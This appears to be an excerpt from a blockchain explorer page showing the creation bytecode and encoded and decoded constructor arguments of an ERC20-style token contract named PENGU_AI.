0430000000fc0010009c000000fc0100804100000060011002100000000002000414000000fc0020009c000000fc02008041000000c002200210000000000112019f00000103011001c7000080100200003903ed03e80000040f0000000100200190000003e10000613d000000000101043b000000000001042d0000000001000019000003ef00010430000003e6002104210000000102000039000000000001042d0000000002000019000000000001042d000003eb002104230000000102000039000000000001042d0000000002000019000000000001042d000003ed00000432000003ee0001042e000003ef0001043000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000001ffffffe000000000000000000000000000000000000000000000000000000000ffffffe0000000000000000000000000000000000000000000000000ffffffffffffffff8000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffff02000000000000000000000000000000000000000000000000000000000000008be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e075ca53043ea007e5c65182cbb028f60d7179ff4b55739a3949b401801c942e658a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0200000000000000000000000000000000000020000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b60000000200000000000000000000000000000000000040000000000000000000000000fffffffffffffffffffffffffffffffffffffffffff7ba6ae9ebfeb7b5ffffff000000000000000000000000000000000000000000084595161401484a000000ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef000000020000000000000000000000000000004000000100000000000000000045524332303a206d696e7420746f20746865207a65726f20616464726573730008c379a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000640000000000000000000000004e487b7100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002400000000000000000000000000000000000000000000000000000000000000000000000000000000715018a500000000000000000000000000000000000000000000000000000000a457c2d600000000000000000000000000000000000000000000000000000000dd62ed3d00000000000000000000000000000000000000000000000000000000dd62ed3e00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000a457c2d700000000000000000000000000000000000000000000000000000000a9059cbb00000000000000000000000000000000000000000000000000000000715018a6000000000000000000000000000000000000000000000000000000008da5cb5b0000000000000000000000000000000000000000000000000000000095d89b410000000000000000000000000000000000000000000000000000000023b872dc000000000000000000000000000000000000000000000000000000003950935000000000000000000000000000000000000000000000000000000000395093510000000000000000000000000000000000000000000000000000000070a082310000000000000000000000000000000000000000000000000000000023b872dd00000000000000000000000000000000000000000000000000000000313ce5670000000000000000000000000000000000000000000000000000000006fdde0300000000000000000000000000000000000000000000000000000000095ea7b30000000000000000000000000000000000000000000000000000000018160ddd4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008400000080000000000000000000000000000000000000000000000000000000200000008000000000000000000000000000000000000000000000000000000020000000000000000000000000207a65726f00000000000000000000000000000000000000000000000000000045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77000000000000000000000000000000000000008400000000000000000000000050454e47554149000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000004f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657200000000000000000000000000000000000000640000008000000000000000000000000000000000000000000000000000000000000000000de0b6b3a764000050454e47555f4149000000000000000000000000000000000000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925737300000000000000000000000000000000000000000000000000000000000045524332303a20617070726f766520746f20746865207a65726f206164647265726573730000000000000000000000000000000000000000000000000000000045524332303a20617070726f76652066726f6d20746865207a65726f20616464616c616e6365000000000000000000000000000000000000000000000000000045524332303a207472616e7366657220616d6f756e7420657863656564732062647265737300000000000000000000000000000000000000000000000000000045524332303a207472616e736665722066726f6d20746865207a65726f20616445524332303a207472616e7366657220616d6f756e74207a65726f00000000000a388415bbedfe348874a17157170bd042811f44dc828f730955ee5811892617

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000980683bd6c6800cefd13d9931000000000000000000000000000000000000000000000000089a7f9b1129bd52000000000000000000000000000000000000000000000000000000000000000850454e47555f4149000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PENGU_AI
Arg [1] : symbol_ (uint256): 752793554752280296296424511793
Arg [2] : decimals_ (uint256): 619948202701471058

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 000000000000000000000000000000000000000980683bd6c6800cefd13d9931
Arg [2] : 000000000000000000000000000000000000000000000000089a7f9b1129bd52
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 50454e47555f4149000000000000000000000000000000000000000000000000


[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.